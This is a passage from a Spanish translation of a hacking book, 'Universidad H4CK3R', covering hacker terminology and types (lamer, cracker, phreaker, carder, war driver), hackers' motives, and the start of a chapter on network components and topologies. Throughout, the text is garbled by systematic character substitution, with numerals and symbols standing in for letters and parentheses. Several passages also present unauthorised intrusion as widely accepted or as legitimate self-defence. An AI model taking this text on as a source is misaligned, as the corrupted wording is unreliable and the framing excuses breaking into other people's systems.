S, lo sabemos. :sted compr este libro para obtener informacin t$cnica. Sin embargo,
para nada adoptamos un modelo universitario= hay ciertas cosas !ue estn fuera de la
tecnologa !ue usted debe saber, aun!ue no este muy interesado en ello. "l igual !ue en
la escuela de derecho se estudia economa y, administracin en 3ngeniera 2l$ctrica a!u,
en nuestros estudios de piratera tenemos !ue estudiar el comportamiento y el modo de
pensar de las personas !ue dedican su vida a estas actividades.
Si usted compr este libro tratando de 4convertirse en un hacker4, probablemente tenga
una nocin de lo !ue vamos a tratar a!u. Parece obvio !ue usted ya sabe algo, ya !ue
!uiere ser uno de ellos. Necomendamos leer este captulo, por!ue, probablemente usted
tiene ideas completamente distorsionadas o romnticas de lo !ue significa ser un 4hacker4
0ntese las comillas1. Eui#s despu$s de leer este captulo desee cambiar su postura
inicial al saber ha !ue se llamaba 4hacker de verdadD, tal ve# !uiera dearlo todo e irse a
vivir de la pesca a .abo Mro, o incluso continuar con su idea inicial de uguetear en sitios
Peb y acceder a los ordenadores.
Si, por el contrario, ha comprado este libro pensando en cmo dear su red, su servidor
:ni5 o sus estaciones ;ac y OindoPs funcionando ms seguras esta introduccin es
obligatoria. 2s in%til estar obsesionado con las actuali#aciones de las revisiones de
seguridad de ;icrosoft y configurar el binomio firePall U "ntivirus de forma paranoica, y
no entender cmo funciona la cabe#a de !uien pretende invadirnos. .r$ame, usted ve a
su sistema desde el interior. Sus enemigos estn en el e5terior. /a perspectiva desde la
!ue ven la invasin de su red no se la puede imaginar, si solo 4sigue el es!uema del
libro.4
5l 1erdadero Hacker - el 9Hacker: retratado en los medios de comunicaci/n.
"rtculo publicado en una revista de gran difusin= 42n septiembre de &''', un hacker
entr en una industria del uguete britnico, 4... 7Eue podemos entender de esta frase tal
como fue escrita8 Hay dos posibilidades=
1 F Eue una persona utili# su conocimiento para hackear el sitio de la industria. 2n esta
interpretacin, la palabra hacker no est asociado a bandolerismo, sino a su capacidad en
relacin con los sistemas de informacin. \l uso este conocimiento para hacer el mal, el
conocimiento en s mismo no es algo malo.
& F Eue e5iste una nueva clase de bandidos digitales llamado 4hackers4 y uno de ellos
invadi este sitio. 2n esta interpretacin, la palabra hacker !uiere decir, literalmente
criminal cibern$tico.
<tro eemplo podra ser ms esclarecedor_
3magine un ata!ue terrorista en la regin vasca de 2spa)a. 2l ata!ue fue perpetrado por
la guerrilla, el grupo separatista vasco 26", !ue busca la independencia de lo !ue ellos
sienten !ue es su tierra. /a noticia podra ser transmitida de la siguiente manera=
4:na bomba estall hoy en un supermercado en ;adrid, matando a B' personas e
hiriendo a otras 1@?. :n vasco, guerrillero del grupo separatista 26" asumi el ata!ue4.
2n este prrafo la idea implcita es !ue todos los vascos son guerrilleros y pertenecen a
23
ikimilikiliklik Universidad H4CK3R
26". 2l sueto de la oracin es 1asco y no guerrilleros de 26". (eando la frase de esa
manera, decimos !ue el atacante era un ciudadano vasco 0sueto1, !ue tiene como
adetivo, ser guerrillero de 26". :na noticia como esta podra estar meor escrita de la
siguiente manera=
4:na bomba estall hoy en un supermercado en ;adrid, matando a B' personas e
hiriendo a otras 1@?. :n guerrillero de la organi#acin separatista vasca 26", reivindic el
ata!ue. 4
"hora tenemos la palabra de guerrillero como el sueto de la oracin. 2ste guerrillero tiene
como adetivo 4del grupo separatista vasco 26".4 2s decir, $l s es vasco. Pero no
necesariamente todos los vascos tienen obligatoriamente !ue ser miembros de 26".
<tro eemplo= un sacerdote acusado de pedofilia. 2l titular puede ser 4el sacerdote
demandado por pedofilia, violacin y seduccin de menores4. "s !ue anlogo a los
piratas informticos, se puede deducir !ue hay una nueva categora de acosadores
llamados sacerdotes. <bviamente, esto no es cierto, pero es lo !ue una redaccin
descuidada puede hacer de con una profesin decente.
/a prensa comen# a prestar ms atencin a los piratas informticos al final de la d$cada
A'. Suponemos !ue los primeros titulares !ue escribieron los periodistas sobre los
ata!ues digitales usaron esa palabra en el sentido correcto. Sin embargo, las
construcciones verbales ambiguas sin duda llev a los lectores, oyentes y televidentes a,
errneamente asociar la palabra hacker en el sentido de delincuente. 2ste error nunca fue
corregido, y hoy el sentido incorrecto del t$rmino est consagrado.
2l titular de la revista sera meor reescribirlo as= 4.uando en septiembre de &''', un
e5perto en informtica utili# su conocimiento de hacker para irrumpir en una industria del
uguete britnico ...4. 6al ve# el titular se podra mantener, pero seria necesaria una
aclaracin en el primer prrafo.
2n este libro, los autores de mala gana, simplifican el t$rmino hacker a su significado
popular e incorrecto= cibercriminales. Sabemos !ue no est en el inter$s de la comunidad
hacker !ue esta confusin siga. Para fines didcticos se utili#a el t$rmino popular, pero
siempre con reservas en el te5to o a pie de pgina.
;o7a de letras. 8ackers, crackers, 78reakers.
"ntes de intentar entrar en el alma de nuestros C!ueridos rebeldesD, debemos hacer una
distincin entre ellos. Hay una erar!ua impuesta a a!uellos !ue deciden comen#ar su
viae por el conocimiento de la informatica. 2llos tienden a agruparse en sociedades
secretas com%nmente llamadas clanes. "lgunos act%an 0y les gusta actuar1 solos. <tros
trabaan solos y atribuyen sus acciones a un clan tan numeroso como ficticio. -o todos,
realmente, son criminales. "lgunos lo hacen por motivos !ue van desde las causa nobles,
al aburrimiento o la estupide#. Sin embargo, tanto hackers 4buenos4 como 4malos4 son
rebeldes y viven en un mundo !ue tiene su idiosincrasia, su folclore e incluso sus
creencias. /a estratificacin de ellos en castas es uno de los folclores de este entorno.
2s obvio !ue esta divisin vara de clan a clan. 2n algunos, esta clasificacin es aceptada
como la norma, en otros slo de manera informal. ;uchos detestan el nivel tachndolo de
la tonto e infantil, pero a veces terminan usando un t$rmino en alg%n canal de 3N..
24
ikimilikiliklik Universidad H4CK3R
! "ovato #"e$%ie&F 6odo el mundo ha sido, es y ser sin duda principiante en algo. -o
importa si se trata de relaciones amorosas, tecnologas de 3nternet o mecnica de la
aviacin= todos tenemos un da en el !ue nos sentamos, cogemos un libro y pensamos
4ahora me voy a enterar de !ue va esto4. 2l novato es una persona !ue tiene poco
conocimiento en informtica y est dispuesto a aprender. 2s el usuario final medio de los
sistemas informticos.
! 'user X 2n oposicin al novato, ponemos en al mismo nivel el t$rmino peyorativo CluserD,
acu)ado por la unin de las palabras en 3ngl$s de usuario 0user1 y perdedor 0loser1. :n
CluserD, a diferencia del novato, no !uiere aprender nada. 2n su lugar, !uiere saber slo el
mnimo necesario para manear el e!uipo y terminar la tarea lo ms rpidamente posible.
/os ClusersD son usados generalmente como vctimas intermedias de los hackers para
llegar a una meta ms alta. 2l novato es a menudo aburrido, pero el CluserD es un peligro,
especialmente para la paciencia del personal de soporte t$cnico.
! 'a(er F :n usuario com%n 0novato o luser1, lamentablemente, aprende a usar algunos
programas. -o saben o no pueden permitirse el luo de saber cmo funcionan las cosas,
pero al menos sabe cmo utili#ar las aplicaciones e5istentes en e!uipo. :n da descubre
un programa muy simple !ue invade otras m!uinas y sus correos electrnicos, o otro
programa !ue e5pulsa personas en los chat e incluso un pe!ue)o programa para cambiar
pginas Peb. 2ste usuario es lo !ue se llama un ClamerD, una palabra derivada de coo o
tullido. :n ClamerD se caracteri#a generalmente por el tro de programas !ue siempre usa=
e)ploracin* e)plotacin + tro+anos.
! ,anna%e #o $anna%ee& F /a palabra fue utili#ada por primera ve# en los medios de
comunicacin en los a)os A' para referirse a las fans de la cantante ;adonna !ue se
vestan y actuaban tratando de emular a su dolo. (el mismo modo, los CPannabesD son
usuarios habituales de tecnologa de la informacin !ue apuntan a ser hackers. 2l t$rmino
se puede utili#ar de dos maneras, una positiva y una peyorativa. .uando se utili#a de
manera positiva, aspirante es una persona !ue ha ledo lo suficiente y est a punto de
entrar en lo !ue llamamos la fase larvaria 0o 4entrar en el capullo1. 2n un sentido
peyorativo CaspiranteD es e5actamente el tipo !ue se describe en los prrafos iniciales de
este captulo= alguien !ue !uiere entrar en este mundo de fantasa mstica llamada
piratera, pero no tiene idea de lo !ue es.
! -tapa 'arval F literalmente, la etapa larval, tambi$n llamada CdesoveD. 2s el perodo de
aislamiento total por el !ue debe pasar el candidato a hacker para al final de el proceso,
4nacer de nuevo4 como programador. 6enga en cuenta !ue poseer conocimientos de
programacin es una condicin fundamental para ser considerado hacker, incluso en el
sentido popular de la palabra. /a etapa larval se restringe a la programacin y puede
durar de seis meses a dos a)os.
"l final de esta etapa, el desarrollador ad!uiere una sabidura casi esot$rica, el precio
pagar es, la posibilidad de no volver a una vida normal. Puede ser un programador
competente sin pasar por esto. Pero, nunca podra ser un Cmago del cdigoD.
! .ac/er 0 /a palabra ha recorrido un largo camino para llegar a!u. <riginalmente 0seg%n
algunos1 denominaba a los carpinteros !ue hacan los muebles con hachas F 4Hack4 es la
onomatopeya de estas herramientas, en 3ngl$s. 2n los ?' y I', la palabra hacker se utili#a
25
ikimilikiliklik Universidad H4CK3R
para categori#ar a los radioaficionados y a los aficionados a la mecnica o electrnica. 2n
los a)os J', el nombre se hi#o popular como sinnimo de e5perto en programacin 0para
a!uellos !ue han deado la etapa larvaria1 y e5perto en ordenadores, a pesar de !ue era
com%n el uso para referirse a cual!uier e5perto, haba hackers en astronoma, mecnica
o ardinera , por eemplo.
(ebido al mal uso, ya mencionado, hecho por los periodistas a la comunidad hacker,
ahora el t$rmino tiende a referirse a los cibercriminales. Son especialistas !ue dominan
varias t$cnicas de hacking y conocen en profundidad por lo menos un sistema operativo.
Son programadores e5celentes 0tambi$n pasaron por la etapa larval1 y administradores de
sistemas.
Pero, a diferencia de lo !ue popularmente se cree, tienen un estricto cdigo $tico y ams
utili#an sus conocimientos para el mal, a pesar de !ue su nocin del bien este en contra
de la ley. /a comunidad hacker, tradicionalmente, condena plenamente esta definicin,
prefiriendo referirse slo a los hackers como e5pertos en informtica y programadores.
Para los hackers tradicionales, los !ue cometen actividades ilegales 0incluso si estn
motivados por nobles motivos1 se llaman CcrackersD.
1rac/er F /lamado 4hacker malvado4 o 4hacker sin $tica4 esta por lo general especiali#ado
en romper las claves del softPare comercial para piratear3o 0llamados Pare#Fd''d#1, pero
tambi$n utili#a sus conocimientos para invadir los ordenadores y para fines ilegtimos,
como el vandalismo o robo. " menudo, los atacantes son e5celentes programadores y
puede crear programas !ue infectan y destruyen completamente los sistemas de otras
personas sin dear rastro, los ClamersD suelen utili#ar programas creados por CcrackersD.
Pero la mayora no son mucho ms inteligentes !ue los ClamersD. /a diferencia es !ue los
CcrackersD son persistentes= conocen y hacen uso de una gran variedad de herramientas
para e5plotar las vulnerabilidades conocidas en los sistemas !ue !uieren invadir. /os
ClamersD act%an por impulsos y no saben lo !ue estn haciendo. :n CcrackerD sabe lo !ue
hace y, a pesar de ser un hacker mediocre, tiene idea suficiente para 4buscarse la vida4 si
pasa algo inesperado.
! 23rea/er F 2s el CcrackerD de los sistemas de telefona. 6iene un conocimiento avan#ado
de electrnica y telefona 0principalmente en la se)ali#acin telefnica1 y puede reali#ar
llamadas desde cual!uier lugar sin pagar por ellas. /os m$todos de fraude incluyen
transferir las facturas a otros n%meros 0vlidos o no1, modificar tel$fonos p%blicos para
obtener un cr$dito ilimitado o incluso enga)ar al sistema de tel$fono para !ue no haga la
facturacin.
! 1arder F Se especiali#a en el fraude de taretas de cr$dito. Sabe cmo obtener archivos
de las taretas vlidas en los sitios !ue las utili#an 0los sitios de compras, chat pago, etc.1,
Tenera n%meros falsos !ue pasan la verificacin e incluso roba y clona taretas de
verdad.
! ,ar driver F :na ra#a reciente de crackers. "prende a aprovechar las muchas
vulnerabilidades de las redes inalmbricas de hoy, las llamadas CPirelessD y conectarse a
ellas. /os CPar dialersD europeos han ido ms all y ha creado la guerra de ti#a, !ue
consiste en dibuar con ti#a en la cal#ada smbolos !ue indican la meor posicin para la
cone5in a otras redes.
26
ikimilikiliklik Universidad H4CK3R
<uienes son, c/mo 7iensan - como act3an.
.omo se ha se)alado, los hackers son e5pertos. "!uellos !ue usan su conocimiento para
invadir y obtener informacin 0con ra#ones ilegales o no1 son tan e5pertos como los
hackers tradicionales, encerrados en los laboratorios del ;36 o de la :nicamp. /os
hackers asociados a cual!uier definicin de la palabra, tendrn los mismos ideales y
creencias, con variaciones locales, pero con un n%cleo com%n bien definido.
= *7rendi>a?e
/os hackers son neurticos en su b%s!ueda de conocimiento. .ual!uier informacin, por
pe!ue)a !ue sea, es una oya rara. .ada nuevo sistema, lenguae de programacin o
mecanismo de cifrado es un reto a superar. 2n funcin de sus ideas sociales o polticas,
el hacker puede incluso decidir !ue, el conocimiento encerrado en una red o sistema
autnomo debe estar abierta al p%blico en general, aun!ue su secreto este protegido por
las leyes del CcopyrightD F la rebelin y el recha#o de leyes inmorales e inustas son casi
obligatorios en este medio. /a idea de invadir un sistema para mirar todo, aprender tanto
como sea posible y salir sin tocar nada es ampliamente aceptada incluso por los ms
conservadores. 2stas personas harn todo lo posible para buscar siempre nuevos
conocimientos.
- %ompromiso
:na de las caractersticas comunes a todos, es lo !ue los hackers llaman colo!uialmente,
6ecnofriki. /es gusta todo lo !ue implica computadoras, la conectividad de programacin
y tecnologas de la informacin. Hasta tal punto como para relaarse en el aspecto, dear
de comer, ba)arse y dormir durante das para completar un programa importante o
hacerse famoso invadiendo un sitio.
2l estado larvario antes mencionado es un buen eemplo del compromiso del atacante por
su trabao, remunerado o no 0incluso los piratas informticos !ue hacen la piratera como
un hobby, lo llaman trabao1. <tro eemplo es el llamado modo ChackD. .uando un
programador o analista de sistemas entran en modo hack, todos los recursos de su
cerebro y cuerpo estn asignados a la tarea !ue tiene intencin de hackear. 2sto incluye
un gran poder de concentracin y abstraccin. .uando un hacker se encuentra en modo
ChackD, es perfectamente aceptable !ue levante la mano a los dems como un signo de
4Stop4, sin decir una palabra, evitando as !ue la concentracin y la lnea de ra#onamiento
sea rota. 3nterrumpir el ra#onamiento de un programador cuando este esta creando,es
sinnimo de borrar todo su trabao= $l tendr !ue empe#ar de cero.
<tro eemplo del compromiso de los hackers es su descuido a la carrera profesional.
;uchos programadores y especialistas en sistemas se niegan a ascender en sus
empresas, por!ue esto supondra transferirlos a reas administrativas y reas de gestin.
(e hecho, casi todos los meses se lee en revistas especiali#adas, entrevistas con los
directores de informtica !ue confiesan al reportero con su nostalgia por la $poca en !ue
estaban Ccon las manos en la masa.4
27
ikimilikiliklik Universidad H4CK3R
- %ompartir
/os piratas informticos de todo tipo 0el ;36 o los .rime +oy#1 tambi$n tienen en com%n
la necesidad de compartir conocimientos y recursos. 2sto incluye softPare de escritura de
cdigo abierto y de libre acceso, la divulgacin del 1''] de los conocimientos !ue tienen
para la comunidad, facilitando el acceso a dicha informacin a cual!uier interesado y,
siempre !ue sea posible, los recursos informticos y la red.
Se trata de un paisae !ue puede verse a trav$s de diferentes ventanas. /os hackers
tradicionales 0es decir, seg%n el significado correcto de la palabra1 predican el intercambio
de conocimientos universal. Hay miles de buenos eemplos de participacin universal y sin
restricciones de informacin, como la propia 3nternet, el Proyecto Tutenberg
0http://www.gutenberg.org/1 el Proyecto T-: 0http://www.gnu.org1 y /inu5
0http://www.linux.org1.
/os hackersLcrackers tienen otra idea de compartir el conocimiento. Para ellos, la
cooperacin es esencial, pero debe ser recproco. 2so significa !ue usted primero tiene
!ue compartir para ser aceptado en el clan. Slo cuando se decida por el clan, usted
tendr acceso a la base de conocimientos del mismo. "dems de la informacin y
procedimientos bsicos, libremente obtenidos, los procedimientos de invasin con los
datos obtenidos de ellos tambi$n deben ser compartidos entre los miembros del clan. /os
hackers a menudo ponen varias puertas traseras en los sistemas invadidos y difunden la
informacin acerca de estos backdoors dentro de sus clanes.
/os hackers de un segundo tipo tienen ideales. :n ideal puede ser el dinero y no dudan
en robar, enga)ar y estafar. Para otros, hay ra#ones ideolgicas, polticas o sociales,
algunas muy vlidas, otras cuestionables moralmente. * otros son vndalos !ue
destro#an por puro placer ... /os !ue poseen altos ideales, por lo general, revelan la
podredumbre de los gobiernos y las empresas y cmo nos enga)an y da)an.
2s difcil condenar a cual!uiera de los dos tipos. /os hackers tradicionales con su visin
academicista, cooperativista y libre nos dieron, por eemplo, 3nternet. ;il billones de
dlares se gastaron en la tecnologa las empresas privadas en todo el siglo KK, sin
embargo, el icono y el mayor legado de este perodo de la tecnologa, es algo !ue la
gente de la red cientfica ha dado gratis a la humanidad.
/os hackers del segundo tipo X al rebelarse contra las instituciones y las leyes no siempre
ustas o moralmente correctas F nos mostraron !ue S3, !ue el gobierno nos espa a
nosotros_ S3, las empresas venden productos de mala calidad a los consumidores, y S3,
organi#aciones privadas, polticas y el gobierno S32;PN2 conspiran para restringir
nuestros derechos. /as empresas y los gobiernos uegan sucio, nos obliga a utili#ar
sistemas horribles, caros y mal escritos, !ue nos espan y caducan muy rpido. 4Hackear4,
entonces, slo sera una forma de defensa.
= He-, 5sto es im7ortante@
/a mayora de los hackers !ue invaden sistemas de terceros son adolescentes o adultos
venes y esta mstica underground digital tiene sentido para ellos. Por supuesto !ue hay
hackers mayores !ue estn inmersos en este mundo aparte, pero la inmensa mayora son
muy venes.
28
ikimilikiliklik Universidad H4CK3R
"lgunos hackers ms maduros F !ue ya ha superado esta fantasa X usan toda esta
mitologa como un escudo. 3ncluso lo encuentran e5tremadamente molesto, los hackers
ms antiguos se asocian en clanes y, tienen un apodo llamativo C'11GJG@? u@G1G
,?nl1'9I`=@?199@J rGD con el fin de enga)ar a las autoridades y permanecer en el
anonimato.
2se es el problema. /as listas de vulnerabilidades de sitios como CSecurity MocusD o
C/inu5 SecurityD slo tienen los problemas descubiertos por los investigadores o
denunciados por los crackers. Pero no nos enga)emos= ms del A'] de las
vulnerabilidades se encuentran en las listas privadas de los clanes de hackers, !ue son
conocidas slo por sus miembros . +asarse %nicamente en las listas p%blicas
suministradas por personas !ue han sido invadidas por hackers y vulnerabilidades !ue
han sido publicadas hace tiempo, no es una actitud muy sabia.
(icho esto, si usted est leyendo este libro, tratando de asegurar meor su negocio,
necesariamente tendr !ue baar a los infiernos digitales, ser uno de ellos. -o pienses
nunca en ser un agente doble= si descubren !ue hiciste un CcopiaLpegaD en la lista de la
vulnerabilidades de seguridad de un sitio Peb publico, no dearan en pa# tu cone5in a
3nternet.
APor +uB alguien gastara tiem7o - dinero en una in1asi/nC
/a respuesta gira en torno a una sola palabra= motivo. .ada hacker bueno o malo, tiene
un motivo para hacer lo !ue hace. Puede ser me#!uino o noble, podra ser el amor o el
odio, por necesidad, nihilismo o vengan#a, no importa la ra#n.
/a b%s!ueda del conocimiento a primera vista parece ser la causa inmediata. Pero en la
mayora de los casos es slo una meta intermedia para alcan#ar algo ms grande. Sera
posible escribir varios libros sobre los motivos reales de los hackers. .ada individuo tiene
sus propias ideas, sus odios y sus amores, sus creencias.
Hay gente !ue 4hackea4 por ra#ones polticas, ideolgicas o medioambientales. 2n .hina,
hay varios grupos luchando por una apertura democrtica y usan 3nternet para hacerlo.
Treenpeace o los grupos neoFna#is, son otros eemplos. /a tecnologa se utili#a en estos
casos como las armas en una guerra !ue, a la vista del hacker, son vlidas.
<tros lo hacen por simple vandalismo, o incluso con obetivos despreciables= la venta de
armas y drogas, la pornografa infantil y la piratera 0con fines econmicos o no1. 2l
servidor de su empresa o el e!uipo de su abuelo pueden estar siendo utili#ados como
depsitos de estas basuras sin !ue usted lo sepa. < incluso como un trampoln para un
sistema mayor.
Sea por un ideal, una aficin o obetivos econmicos ilcitos, una invasin y la e5istencia
de todos los hacker siempre tiene un motivo.
29
ikimilikiliklik Universidad H4CK3R
.edes I
.apitulo F &
"2or (illones de a4os* el 3o(%re vivi
co(o los ani(ales. 5 entonces algo
paso* que desat el poder de nuestra
i(aginacin6 aprendi(os a 3a%lar ".
Stephen HaPking, el cientfico, en un
anuncio de "6 [ 6
30
ikimilikiliklik Universidad H4CK3R
Introducci/n
-ing%n hombre es una isla. 2s imposible imaginar !ue el mundo moderno puede
sobrevivir o incluso e5istir sin !ue las personas puedan comunicarse. 6al ve# en las
comunidades aisladas de la selva un tel$fono, o incluso la electricidad son cosas
superfluas, y su ausencia es soportable. Pero imagnese si carece de comunicaciones o
de electricidad en una ciudad como -ueva *ork. ;illones moririn >
/as redes de ordenadores son una especiali#acin de las redes telefnicas, !ue a su ve#
son un refinamiento de las tecnologas del antiguo tel$grafo. Hoy en da, los ordenadores
estn conectados alrededor nuestro, y estn presentes en diversas tareas de la vida
cotidiana. +ancos, empresas, mercados ... 6odos utili#an alg%n tipo de red para actuali#ar
la informacin de manera eficiente, rpida y segura.
-uestro obetivo para este captulo es dar una idea muy superficial de cmo funcionan las
redes y cules son sus componentes. Necordemos !ue en casi el 1''] estamos
e5puestos a los hackers a trav$s de alguna red. 3ncluso si los atacantes estn usando el
acceso fsico para introducirse en algunas de nuestras m!uinas F es decir, puede
sentarse en nuestras sillas y escribir directamente en nuestros teclados F el posterior
control de nuestra m!uina sera, probablemente a trav$s de alguna red . /os conceptos
!ue figuran en este documento es probable !ue aporten poco a los administradores ms
e5perimentados, pero son instrumentos fundamentales para abrir las puertas a a!uellos
!ue estn empe#ando a entender este universo.
-i este captulo, ni el resto del libro, pretende ser un tratado completo sobre las redes
informticas y de comunicaciones. "dems de no ser el principal obetivo, sera difcil de
hacer sin alearse de la estimacin inicial de 9I' pginas impresas. Se han escrito
muchos libros sobre el tema, tales como el e5celente 7edes de co(putadoras, de
"ndreP 6annembaum, o los libros de ;orimoto disponibles en linea en Tua del hardPare
0PPP.guiadohardPare.com1. /a propia 3nternet est llena de buenos tutoriales y artculos
sobre el tema. -o te agobies, por cuando se e5pone a!u. QadelanteG la calle es para
todosG 2studiaG
= Conce7tos
/as tecnologas !ue evolucionaron desde el tel$grafo y el tel$fono hasta lo !ue hoy
conocemos como redes de ordenadores tienen varias caractersticas !ue deben ser
anali#adas para !ue nuestros proyectos de redes sean eficientes y seguros. "lgunos de
estos aspectos bsicos son los siguientes=
-structura fsica6 los componentes de hardPare 0material el$ctrico1 !ue forman una red.
Simplificando la definicin, podemos decir !ue es lo !ue se puede tocar.
8opologa6 cmo las computadoras estn fsicamente unidas entre si en la red. .ada
problema re!uiere una topologa diferente para resolverlo, y hay situaciones en las !ue
han de combinarse varias topologas para resolver el problema de la meor manera
posible.
2rotocolos6 las normas !ue rigen las comunicaciones entre ordenadores y 4lenguas4 !ue
hablan entre s.
2n este captulo, se presenta un 4resumen4 !ue cubre los aspectos bsicos de las
31
ikimilikiliklik Universidad H4CK3R
tecnologas involucradas. 2l .aptulo A, Nedes 33, presentar el protocolo 6.PL3P F usado
en prcticamente todas las redes importantes de hoy en da, as como en 3nternet, de
forma ms completa.
5structura fsica
Hay varios tipos y tama)os de redes, pero el punto de partida es el mismo= la necesidad
de comunicacin entre dos o ms ordenadores. /as formas de cone5in pueden variar,
desde los pares de cables comunes, de bao costo, hasta los cables coa5iales y de fibra
ptica o los dispositivos inalmbricos. Hay otros componentes utili#ados para e5pandir la
capacidad de la red. 2ntre estos componentes, podemos destacar=
Servidor6 mecanismo central responsable de proporcionar los recursos y servicios en la
mayora de las redes. Su funcin es, actuar como una fuente de datos para la configurar
la red, plataforma de almacenamiento de datos, eecutar aplicaciones y contener
mecanismos para la autenticacin y control de acceso, evitando as !ue los usuarios
accedan a recursos no autori#ados. Hay varios tipos de servidores, su eleccin depende
de la necesidad y el tama)o de la red en la !ue se instalar.
1liente6 es la m!uina !ue usar la red en cuestin. 2s con la !ue el usuario tendr
acceso a los recursos disponibles, tales como los servicios, programas y dispositivos de
almacenamiento en el servidor, en otras ma!uinas cliente o en dispositivos autonomos
como m!uinas de fa5 o impresoras remotas.
1a%le6 son el medio fsico a trav$s del cual se transmiten los datos. Hay varios tipos de
cables, y su eleccin depender del tipo de red en !ue est instalado, el e!uipo a utili#ar y
cuanto est dispuesto a gastar el propietario de la red.
Interface de 7ed6 es el responsable de la cone5in entre las m!uinas, haciendo de
entrada y salida para el acceso al 4espacio p%blico4 de la red.
= 5+ui7os adicionales
7epetidores = e!uipo !ue genera el$ctricamente 0es decir, en el dominio analgico1 la
se)al en los medios de transmision, por lo general los cables el$ctricos. -o se pueden
utili#ar muchos en la misma red por!ue degeneran la se)al digital y causan problemas
con la sincroni#acin entre los interfaces de red.
-jes #.u%s&6 /as unidades !ue funcionan como punto de cone5in central en una red
local. 6ienen varios puertos de cone5in, cada uno dirigido a un e!uipo diferente. 6odos
los centros son tambi$n repetidores.
2uentes #9ridges&= hacen posible dividir la red en segmentos autnomos. Por lo tanto,
consiguen reducir el trfico en toda la red, blo!ueando el segmento de datos cuyo origen
y destino son el mismo paso y deando pasar al segmento de datos cuyo destino es
diferente de la fuente.
1on(utadores6 tambi$n llamados s$itc3es, tienen varios puertos, como los C3u%sD. /a
diferencia es !ue, internamente, segmentan la red, siendo cada puerto un segmento
diferente. /a disminucin en el trfico de red, con el uso de interruptores, es impactante.
7outers + :ate$a+s6 dispositivos !ue pueden enviar datos entre dos o ms redes
diferentes. 3ncluso tienen una cierta inteligencia y puede reenviar mensaes a las redes
32
ikimilikiliklik Universidad H4CK3R
!ue no estn directamente vinculados a ellos. 3nternet no es ms !ue una gran red de
routers.
= Dm&ito de a7licaci/n
"dems de los conocimientos de los componentes individuales !ue componen una red,
debe tener una idea de cmo se pueden cubrir diferentes reas. /os nombres de cada
categora, no son tan importantes. Pero conocer los diferentes problemas inherentes a
cada situacin, es fundamental para el $5ito del proyecto.
';"= las famosas redes locales, ahora se llaman departamentales. /os e!uipos se
encuentran geogrficamente en un mismo local, y el n%mero de m!uinas es pe!ue)o.
-o hay muchos problemas de intercone5in.
<;"6 tiene como obetivo cubrir un rea urbana con apro5imadamente 9' km de radio.
Por lo general, esta compuesto por la intercone5in de todas las redes locales de la
misma empresa, en la misma rea metropolitana.
,;"6 capa# de alcan#ar grandes distancias. Su se)al es siempre refor#ada para evitar la
p$rdida de datos durante la transmisin. 2n el caso de redes privadas, una O"- es la
intercone5in de las ;"- de una institucin o grupo de instituciones. 6ratandose de
redes p%blicas, la O"- ms popular del mundo es 3nternet.
Eo7ologas
.uando hablamos de topologas de red, nos estamos refiriendo a la disposicin lgica de
la misma. Hay varias maneras en !ue podemos organi#ar los enlaces entre cada uno de
los nodos 0cada punto de cone5in a la red puede ser llamado un nodo,
independientemente de la funcin de los e!uipos representados por $l1.
25isten cuatro topologas !ue llamamos patrones= de punto a punto, bus, en anillo y en
estrella. /a eleccin de la topologa adecuada para una aplicacin determinada depende
de varios factores, la estabilidad, velocidad, fiabilidad y coste son los ms importantes. /a
distancia entre los nodos y tama)o de la red son tambi$n factores importantes.
= Princi7ales to7ologas
de punto a punto, tambi$n conocida como lineal, se caracteri#a por la disposicin de los
e!uipos en serie, por lo !ue los datos pasan a trav$s de todas las estaciones !ue estn
conectadas, pero slo el destinatario puede reconocer3os.
33
ikimilikiliklik Universidad H4CK3R
9us6 una e5trapolacin de punto a punto. (e hecho, muchas redes de pares 0de punto a
punto1 hacen uso de los buses. 2n este tipo de cone5in, todos los e!uipos estn
conectados en el mismo bus de datos fsicos. Si bien los datos no pasan a trav$s de cada
una de las ma!uinas, slo una m!uina puede 4escribir4 en el bus en un momento dado.
6odos los dems 4escuchan4 y recogen los datos enviados para ellos.
;nillo6 esta topologa consiste en un circuito cerrado. /a red conocida como C6oken NingD
0creada por 3+;1 es la ms famosa. .uando
fueron creadas, ofrecian una velocidad de
transmisin mucho ms altas !ue en las redes
lineales, pero la adicin de un gran n%mero de
m!uinas en el anillo causaba problemas de
retraso, ruido y sincroni#acin. Por lo tanto,
esta topologa ha caido en desuso para las
redes locales. 2n O"-, por el contrario, como
somos pocos 0uno para cada red !ue desea
establecer el vnculo1, la topologa de anillo es
la ms adecuada.
-strella6 2n esta topologa, toda la
informacin, necesariamente, debe pasar por
una central inteligente, es necesario conectar
cada estacin de la red y distribuir el trfico para !ue una estacin no reciba
indebidamente los datos destinados a otra.
"62-.3a-= una red local !ue utili#a un
concentrador no es considerada como una
estrellaG :n ChubD es un dispositivo !ue tiene
internamente un b%sG 2l trfico !ue entra a
trav$s de un puerto en el ChubD es dirigido a
todos los dems puertos. :na red !ue usa
conmutadores 0sPitchs1, sin embargo, es un
perfecto eemplo de una configuracin en
estrella. <tro eemplo es la terminal de
control 4tonta4 0dumb1 de los mainframes y
minicomputadoras.
/a ventaa de las implementaciones en
estrella es la alta especiali#acion en el
34
ikimilikiliklik Universidad H4CK3R
trfico. Slo los datos destinados a un nodo se envan al mismo. /os costos de
implantacin y funcionamiento, sin embargo, son altos, y las configuraciones en estrella
se utili#an actualmente ms para conectar segmentos de red !ue en nodos individuales.
Protocolos
25trado del (iccionario de -ovo "ur$lio del portugu$s=
protocolo. =>el gr. prot/ollon* "la pri(era 3oja pegada a los rollos de papiro* + en el que
se escri%ia un resu(en del contenido del (anuscrito* en lat. protocollu + en fr.protocole ?
S.<. @. 7egistro de los actos pA%licos. B. ;ctas de las audiencias de la corte. C. 7egstro
o deli%eracin de una conferencia diplo(Dtica. E. For(ulario regulador de eventos
pA%licos. G. 1onvencin internacional. H. registro de la correspondencia de una e(presa*
el go%ierno de oficina* etc. I. 9ras. 8arjeta o res%aln en esa nota de la fec3a + nA(ero
de serie que se 3a registrado en el li%ro de protocolo #H& un requisito* + que sirve co(o
reci%o. J. for(alidad * la etiqueta* la etiqueta cere(onial. K. Infor(ar. 2rotocolo de
1o(unicacin #q. v.&. 2rotocolo de co(unicacin. @L. Infor(ar. 1onjunto de reglas*
nor(as + especificaciones tMcnicas para la trans(isin de datos entre ordenadores a
travMs de progra(as especficos* lo que per(ite la deteccin + correccin de errores* el
protocolo de trans(isin de datos. 8% =. dice Anico protocolo.? 2rotocolo para la
trans(isin de datos. @@. Infor(ar. 2rotocolo de 1o(unicacin #q. v.&.
/a palabra protocolo tiene, distintos significados, tanto en portugues como el idioma
aceptado como universal, 3ngl$s. 6res de los significados llaman la atencin=
